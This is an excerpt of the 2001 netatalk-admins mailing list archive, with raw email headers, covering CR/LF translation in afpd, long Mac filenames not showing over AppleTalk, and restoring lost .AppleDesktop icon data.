4314 Avenue C                   
Austin, TX  78751-3709		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    Nobody ever got fired for buying Microsoft,
      but they could get fired for relying on Microsoft.



--==_Exmh_-1080719364P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE6iaQaK9b4h5R0IUIRAhFeAJ9HZBJmsPgwGHPM4rQOdxdJlXvZSACfY5K3
Gj0nK4rZ+zRkHKhMQSZFbN4=
=D4Ar
-----END PGP SIGNATURE-----

--==_Exmh_-1080719364P--

From netatalk.administrators-errors@umich.edu  Tue Feb 13 17:55:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA04664
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Feb 2001 17:55:09 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01937
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Feb 2001 17:55:03 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA01910
	for netatalk.administrators-members@umich.edu; Tue, 13 Feb 2001 17:55:02 -0500 (EST)
Received: from sugardaddy.digitalpulp.com (host2.digitalpulp.com [209.176.7.2])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA01869
	for <netatalk-admins@umich.edu>; Tue, 13 Feb 2001 17:55:00 -0500 (EST)
Received: from localhost (charwell@localhost)
	by sugardaddy.digitalpulp.com (8.9.3/8.9.3) with ESMTP id RAA14900
	for <netatalk-admins@umich.edu>; Tue, 13 Feb 2001 17:55:06 -0500
Date: Tue, 13 Feb 2001 17:55:06 -0500 (EST)
From: Chris Harwell <charwell@digitalpulp.com>
To: <netatalk-admins@umich.edu>
Subject: Why do long names (char > 27) not created through atalk not show up
 over atalk?
In-Reply-To: <15204.982098970@deepeddy.com>
Message-ID: <Pine.LNX.4.30.0102131753260.7838-100000@sugardaddy.digitalpulp.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

hi,

When a file with a long file name is created in linux (in this case via scp)
it doesn't show up over atalk. If a file with a long name is created over
netatlk it does.

Anyway around this?

thanks,
-- 
chris
charwell@digitalpulp.com



From netatalk.administrators-errors@umich.edu  Tue Feb 13 20:09:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA09966
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Feb 2001 20:09:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA13755
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Feb 2001 20:09:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA13729
	for netatalk.administrators-members@umich.edu; Tue, 13 Feb 2001 20:09:06 -0500 (EST)
Received: from vega.brown.edu (vega.services.brown.edu [128.148.19.202])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA13700
	for <netatalk-admins@umich.edu>; Tue, 13 Feb 2001 20:09:05 -0500 (EST)
Received: from [128.148.176.25] (ppm.cis.brown.edu [128.148.176.25])
	by vega.brown.edu (8.9.3/8.9.3) with ESMTP id UAA23652
	for <netatalk-admins@umich.edu>; Tue, 13 Feb 2001 20:09:04 -0500 (EST)
Mime-Version: 1.0
X-Sender: Peter_DiCamillo@postoffice.brown.edu (Unverified)
Message-Id: <p04330102b6af83d0a056@[128.148.176.25]>
Date: Tue, 13 Feb 2001 20:09:03 -0500
To: netatalk-admins@umich.edu
From: Peter DiCamillo <Peter_DiCamillo@brown.edu>
Subject: Re: How to fix CRLF stuff...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Jeremy Buchmann wrote:
>Okay, this seems to be getting very complicated...is there a more simple
>approach?
There is a much simpler approach if the goal is only to avoid the 
"corruption" that happens when applications like the Finder and 
StuffIt change the type to TEXT after creating the file.  While I 
like the idea of comprehensive solution to the CR/LF problem, this 
simpler approach would solve the only serious problem we have with it 
here.  My idea is the following:

1. Define a new "suppress CR/LF translation" bit in the AppleDouble 
file.  The bit would be off for files created by previous versions of 
netatalk, and assumed off if the AppleDouble file isn't present.

2. When afpd creates a new file, the suppress translation bit is set 
if the file is not translated at that time.

3. When serving a file, the test for whether or not to translate it 
would be unchanged if the suppress bit off.  However, if the bit is 
on, the file is not translated.

With this approach, a Mac user could use the Finder to copy a TEXT 
file to a netatalk volume and back again without the file changing, 
although it would not be translated for Unix users.  This would be 
compatible with a more comprehensive solution where afpd could be 
told to either translate or not translate a given file.  When the 
suppress bit is off, setting the file's type to TEXT would force 
translation, and would also be useful to the Mac user.

Peter

From netatalk.administrators-errors@umich.edu  Wed Feb 14 10:43:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA27211
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Feb 2001 10:43:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21452
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Feb 2001 10:43:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA21444
	for netatalk.administrators-members@umich.edu; Wed, 14 Feb 2001 10:43:50 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA21343
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 10:43:45 -0500 (EST)
Received: (qmail 3122 invoked by uid 500); 14 Feb 2001 15:43:38 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14986.42922.369026.533878@h0050da615e79.ne.mediaone.net>
Date: Wed, 14 Feb 2001 10:43:38 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Jeremy Buchmann <jeremy@wellsgaming.com>
Cc: <netatalk-admins@umich.edu>
Subject: Re: How to fix CRLF stuff... 
In-Reply-To: <B6AEAD4B.158F%jeremy@wellsgaming.com>
References: <27737.982078192@dis.strath.ac.uk>
	<B6AEAD4B.158F%jeremy@wellsgaming.com>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Jeremy Buchmann <jeremy@wellsgaming.com>
   Date: Tue, 13 Feb 2001 09:22:21 -0800

   Okay, this seems to be getting very complicated...is there a more simple
   approach?

   For example, I use the Unix command "less" quite a bit to read through text
   files.  But when I type "less picture.jpg", less tells me that it's a binary
   file.  How does it know?  I don't know exactly how it works, but I'm
   guessing it just scans the first few hundred or thousand bytes and checks
   for non-text/non-line-ending characters and if any are there, it reports it
   as a binary file.

I don't know about less, but I understand some apps just look for NUL
characters, a dead giveaway for a binary file (at least in the Unix
world).

   This may sound overly-simplistic, but it seems to work incredibly
   well.  What do you think? . . .

Nothing is too simple if it works.  ;-}  But isn't this likely to get
confused by Mac characters and/or internal markup?  If you create some
nontrivial test files (e.g. with font changes, bullet characters) in
SimpleText and save them to a netatalk share, what does `less' do with
them?

					-- Bob

From netatalk.administrators-errors@umich.edu  Wed Feb 14 11:03:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA27612
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Feb 2001 11:03:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03478
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Feb 2001 11:03:26 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03430
	for netatalk.administrators-members@umich.edu; Wed, 14 Feb 2001 11:03:24 -0500 (EST)
Received: from prognet.com (prognet.com [205.219.198.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA03340
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 11:03:22 -0500 (EST)
Received: from granola.prognet.com ([172.20.50.131])
	by prognet.com (8.9.2/8.9.0) with ESMTP id IAA01925;
	Wed, 14 Feb 2001 08:03:23 -0800 (PST)
Date: Wed, 14 Feb 2001 08:03:17 -0800 (PST)
From: Matthew Wilson <mwilson@real.com>
X-Sender: mwilson@granola.prognet.com
To: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
cc: Jeremy Buchmann <jeremy@wellsgaming.com>, netatalk-admins@umich.edu
Subject: Re: How to fix CRLF stuff... 
In-Reply-To: <14986.42922.369026.533878@h0050da615e79.ne.mediaone.net>
Message-ID: <Pine.LNX.4.21.0102140800320.32143-100000@granola.prognet.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> confused by Mac characters and/or internal markup?  If you create some
> nontrivial test files (e.g. with font changes, bullet characters) in
> SimpleText and save them to a netatalk share, what does `less' do with
> them?

just put some european characters in the file, like a 'u' with the two
dots above it.  Less will warn you that it may be binary.  (try reading a
Pike readme file)

alternatively, you could still have a file that you don't want translated
that didn't happen to have any 'funny' characters in it.


From netatalk.administrators-errors@umich.edu  Wed Feb 14 11:36:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA28550
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Feb 2001 11:36:54 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA05947
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Feb 2001 11:36:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA05921
	for netatalk.administrators-members@umich.edu; Wed, 14 Feb 2001 11:36:45 -0500 (EST)
Received: from zevils.com (ool-18b85b9c.dyn.optonline.net [24.184.91.156])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA05883
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 11:36:43 -0500 (EST)
Received: from localhost ([127.0.0.1] ident=dukenukm)
	by zevils.com with esmtp (Exim 3.22 #1 (Debian))
	id 14T4vB-0000SI-00
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 11:36:49 -0500
Date: Wed, 14 Feb 2001 11:36:49 -0500 (EST)
From: Flint Million <dukenukm@zevils.com>
X-Sender:  <dukenukm@zevils>
To: <netatalk-admins@umich.edu>
Subject: lost AppleDesktop data!
Message-ID: <Pine.LNX.4.30.0102141130070.1585-100000@zevils>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Is there a way to rebuild the desktop data with netatalk? I transferred my
netatalk shared directory to a new partition, but forgot to copy the
.AppleDesktop folder, and now all applications have the plain old "paper
with pencil" icon. Can I restore the icons, or do I actually have to
re-copy every single file?? (Believe me, this is a software archive
server, and it would take a long time to copy everything over again.) BTW
I did remember to copy the .AppleDouble folder, so all the applications
run OK, they just don't have their icons.
 Thanks for any help.

netatalk 1.4+asun1.2
linux 2.2.16 in an i486




From netatalk.administrators-errors@umich.edu  Wed Feb 14 13:21:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA01567
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Feb 2001 13:21:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06690
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Feb 2001 13:21:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA06666
	for netatalk.administrators-members@umich.edu; Wed, 14 Feb 2001 13:21:10 -0500 (EST)
Received: from mail.greatbasin.net (mail.greatbasin.net [207.228.35.39])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA06615
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 13:21:08 -0500 (EST)
Received: from [172.16.1.6] (rno-dsl0b-131.gbis.net [216.82.145.131])
	by mail.greatbasin.net (8.9.3-MySQL-0.2.3b/8.9.3) with ESMTP id KAA10828
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 10:21:07 -0800 (PST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 14 Feb 2001 10:21:09 -0800
Subject: Re: How to fix CRLF stuff... 
From: Jeremy Buchmann <jeremy@wellsgaming.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6B00C92.165B%jeremy@wellsgaming.com>
In-Reply-To: <14986.42922.369026.533878@h0050da615e79.ne.mediaone.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

(I have three replies quoted here...please note who it is I'm quoting)

> Bob Rogers:
> I don't know about less, but I understand some apps just look for NUL
> characters, a dead giveaway for a binary file (at least in the Unix
> world).

A good idea...or as someone else pointed out, magic is what the 'file'
command uses to figure out what kind of file a file it is.

> Bob Rogers:
> Nothing is too simple if it works.  ;-}  But isn't this likely to get
> confused by Mac characters and/or internal markup?  If you create some
> nontrivial test files (e.g. with font changes, bullet characters) in
> SimpleText and save them to a netatalk share, what does `less' do with
> them?

Formatting of any kind implies a non-text document.  Those shouldn't be
translated.

The only reason for translation (AFAIK) is to make text documents useable on
the Unix side (my primary interest).

> Matthew Wilson:
> just put some european characters in the file, like a 'u' with the two
> dots above it.  Less will warn you that it may be binary.  (try reading a
> Pike readme file)

[disclaimer: what I know about 8-bit ascii or 2-byte chars couldn't fill a
thimble]

Do these chars have a unique ascii code?  If so, they can be recognized as
text.  If not, then people with those chars in their documents might be SOL.
C'est la vie.

As far as less is concerened, I was just using it as a simple example
showing that some programs can differentiate between text and binary files.

> Matthew Wilson:
> alternatively, you could still have a file that you don't want translated
> that didn't happen to have any 'funny' characters in it.

That is possible, (like with tar'ed text files?), but either way, we're
playing with the law of averages.  Does Finder always know what is really a
text file and what isn't?  Hell no.  Especially not in a heterogenous
environment.  Hell, half of the files on my desktop have the "blank" icon.
All I'm saying is, as long as our solution won't be perfect, why make it
difficult?

> Peter DiCamillo:
> There is a much simpler approach if the goal is only to avoid the
> "corruption" that happens when applications like the Finder and
> StuffIt change the type to TEXT after creating the file.  While I
> like the idea of comprehensive solution to the CR/LF problem, this
> simpler approach would solve the only serious problem we have with it
> here.  My idea is the following:
> 
> 1. Define a new "suppress CR/LF translation" bit in the AppleDouble
> file.  The bit would be off for files created by previous versions of
> netatalk, and assumed off if the AppleDouble file isn't present.

Ok, I follow so far...

> Peter DiCamillo:
> 2. When afpd creates a new file, the suppress translation bit is set
> if the file is not translated at that time.

Ok...but how does afpd know to translate the file?  This is the problem I'm
talking about...it seems you're talking about the problem of keeping track
of what has or has not been translated.

> Peter DiCamillo:
> With this approach, a Mac user could use the Finder to copy a TEXT
> file to a netatalk volume and back again without the file changing,
> although it would not be translated for Unix users.

This is how it works now unless you specifically set the crlf option in one
of the config files...how has this changed anything?

> Peter DiCamillo:
> This would be 
> compatible with a more comprehensive solution where afpd could be
> told to either translate or not translate a given file.  When the
> suppress bit is off, setting the file's type to TEXT would force
> translation, and would also be useful to the Mac user.

Now I'm confused...how do we set the file's type to TEXT?  Isn't that the
problem...as of OS 8, Finder doesn't set the type before copying?

-- Jeremy  [jeremy@wellsgaming.com]



From netatalk.administrators-errors@umich.edu  Wed Feb 14 17:35:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA09019
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Feb 2001 17:35:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05368
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Feb 2001 17:35:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05344
	for netatalk.administrators-members@umich.edu; Wed, 14 Feb 2001 17:35:06 -0500 (EST)
Received: from vega.brown.edu (vega.services.brown.edu [128.148.19.202])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA05306
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 17:35:05 -0500 (EST)
Received: from [128.148.176.25] (ppm.cis.brown.edu [128.148.176.25])
	by vega.brown.edu (8.9.3/8.9.3) with ESMTP id RAA29702
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 17:35:10 -0500 (EST)
Mime-Version: 1.0
X-Sender: Peter_DiCamillo@postoffice.brown.edu (Unverified)
Message-Id: <p04330100b6b0b3ce84d0@[128.148.176.25]>
Date: Wed, 14 Feb 2001 17:35:09 -0500
To: netatalk-admins@umich.edu
From: Peter DiCamillo <Peter_DiCamillo@brown.edu>
Subject: Re: How to fix CRLF stuff...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Jeremy Buchmann wrote:
>  > Peter DiCamillo:
>>  2. When afpd creates a new file, the suppress translation bit is set
>>  if the file is not translated at that time.
>
>Ok...but how does afpd know to translate the file?  This is the problem I'm
>talking about...it seems you're talking about the problem of keeping track
>of what has or has not been translated.
Yes, I'm talking about a much less ambitious change than most of the 
discussion has been about.  Afpd would decide whether or not to 
translate the file using the same rules as it does now.

>  > Peter DiCamillo:
>>  With this approach, a Mac user could use the Finder to copy a TEXT
>>  file to a netatalk volume and back again without the file changing,
>>  although it would not be translated for Unix users.
>
>This is how it works now unless you specifically set the crlf option in one
>of the config files...how has this changed anything?
What I'm describing is a change in how the crlf handling would be 
done when the option is set.  It would allow you to set the crlf 
option, but no longer get that kind of corruption.  You trade off the 
fact that files won't get translated for Unix users if they were 
written by "misbehaving" Mac applications that change the type to 
TEXT later.

>  > Peter DiCamillo:
>>  This would be
>>  compatible with a more comprehensive solution where afpd could be
>>  told to either translate or not translate a given file.  When the
>>  suppress bit is off, setting the file's type to TEXT would force
>>  translation, and would also be useful to the Mac user.
>
>Now I'm confused...how do we set the file's type to TEXT?  Isn't that the
>problem...as of OS 8, Finder doesn't set the type before copying?
I'm referring to writing the AppleDouble file.  In the AppleDouble 
file you can store 'TEXT' as the Mac file's type at the same time as 
you're modifying the suppress bit.

Peter



From netatalk.administrators-errors@umich.edu  Wed Feb 14 18:29:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA10159
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Feb 2001 18:29:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA05792
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Feb 2001 18:29:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA05769
	for netatalk.administrators-members@umich.edu; Wed, 14 Feb 2001 18:29:00 -0500 (EST)
Received: from runner.ucdavis.edu (runner.ucdavis.edu [169.237.105.37])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA05722
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 18:28:58 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by runner.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f1ENSZV12880;
	Wed, 14 Feb 2001 15:28:35 -0800 (PST)
Date: Wed, 14 Feb 2001 15:28:35 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@runner.ucdavis.edu
To: Flint Million <dukenukm@zevils.com>
cc: netatalk-admins@umich.edu
Subject: Re: lost AppleDesktop data!
In-Reply-To: <Pine.LNX.4.30.0102141130070.1585-100000@zevils>
Message-ID: <Pine.GSO.4.21.0102141524140.11179-100000@runner.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

You can try rebuilding the desktop (see your MacOS manual on that), but I
don't know if that will bring back your icons or not.  If that doesn't
work, you'll just have to open up one file of each file type and resave it
(forcing the AppleDesktop icon and file type data to be rewritten).  

On Wed, 14 Feb 2001, Flint Million wrote:

> Is there a way to rebuild the desktop data with netatalk? I transferred my
> netatalk shared directory to a new partition, but forgot to copy the
> .AppleDesktop folder, and now all applications have the plain old "paper
> with pencil" icon. Can I restore the icons, or do I actually have to
> re-copy every single file?? (Believe me, this is a software archive
> server, and it would take a long time to copy everything over again.) BTW
> I did remember to copy the .AppleDouble folder, so all the applications
> run OK, they just don't have their icons.
>  Thanks for any help.
> 
> netatalk 1.4+asun1.2
> linux 2.2.16 in an i486
> 
> 
> 

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Wed Feb 14 19:11:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA11539
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Feb 2001 19:11:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA04734
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Feb 2001 19:11:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA04717
	for netatalk.administrators-members@umich.edu; Wed, 14 Feb 2001 19:11:41 -0500 (EST)
Received: from sowrong.org (syr-24-24-23-149.twcny.rr.com [24.24.23.149])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA04596
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 19:11:37 -0500 (EST)
Received: (from cjc26@localhost)
	by sowrong.org (8.11.0/8.11.0) id f1F0BWl22897;
	Wed, 14 Feb 2001 19:11:32 -0500 (EST)
Date: Wed, 14 Feb 2001 19:11:32 -0500
From: Cliff Crawford <cjc26@cornell.edu>
To: Chris Harwell <charwell@digitalpulp.com>
Cc: netatalk-admins@umich.edu
Subject: Re: Why do long names (char > 27) not created through atalk not show up over atalk?
Message-ID: <20010214191132.B22880@cornell.edu>
References: <15204.982098970@deepeddy.com> <Pine.LNX.4.30.0102131753260.7838-100000@sugardaddy.digitalpulp.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.30.0102131753260.7838-100000@sugardaddy.digitalpulp.com>; from charwell@digitalpulp.com on Tue, Feb 13, 2001 at 05:55:06PM -0500

* Chris Harwell <charwell@digitalpulp.com> menulis:
> hi,
> 
> When a file with a long file name is created in linux (in this case via scp)
> it doesn't show up over atalk. If a file with a long name is created over
> netatlk it does.
> 
> Anyway around this?

Not really, Mac OS has a 32-character limit on filenames.  So you have to
make sure the filenames are shorter than that for them to show up.

(If the cutoff you're experiencing really is at 27 characters, like it
says in the subject, and not 32, then I guess it's not the Mac OS
filename limit that's causing it..I don't know what could be wrong in
that case.)


-- 
Cliff Crawford                 http://www.people.cornell.edu/pages/cjc26/
"huh?  Are you all there?  You missing some key parts up there?  Becoming  
a English major or an minor?   Do you need a annual report?  Are you slow
today, eh?  Did someone sever you parietal lobe?" - Mark

From netatalk.administrators-errors@umich.edu  Wed Feb 14 20:54:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA14193
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 14 Feb 2001 20:54:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA14381
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 14 Feb 2001 20:54:32 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA14360
	for netatalk.administrators-members@umich.edu; Wed, 14 Feb 2001 20:54:31 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA14281
	for <netatalk-admins@umich.edu>; Wed, 14 Feb 2001 20:54:28 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id MAA13132;
	Thu, 15 Feb 2001 12:54:15 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3A8B37D1.CF72458F@arts.usyd.edu.au>
Date: Thu, 15 Feb 2001 12:58:41 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Cliff Crawford <cjc26@cornell.edu>
CC: Chris Harwell <charwell@digitalpulp.com>, netatalk-admins@umich.edu
Subject: Re: Why do long names (char > 27) not created through atalk not show up 
 over atalk?
References: <15204.982098970@deepeddy.com> <Pine.LNX.4.30.0102131753260.7838-100000@sugardaddy.digitalpulp.com> <20010214191132.B22880@cornell.edu>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms1D96A3CB79CE51F4E757A2A3"

This is a cryptographically signed message in MIME format.

--------------ms1D96A3CB79CE51F4E757A2A3
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Cliff Crawford wrote:
> 
> * Chris Harwell <charwell@digitalpulp.com> menulis:
> > hi,
> >
> > When a file with a long file name is created in linux (in this case via scp)
> > it doesn't show up over atalk. If a file with a long name is created over
> > netatlk it does.
> >
> > Anyway around this?
> 
> Not really, Mac OS has a 32-character limit on filenames.  So you have to
> make sure the filenames are shorter than that for them to show up.
> 
> (If the cutoff you're experiencing really is at 27 characters, like it
> says in the subject, and not 32, then I guess it's not the Mac OS
> filename limit that's causing it..I don't know what could be wrong in
> that case.)

27 + '.' + 'M$ style 3 letter extension' ?, thats 31 characters.... 


-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms1D96A3CB79CE51F4E757A2A3
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
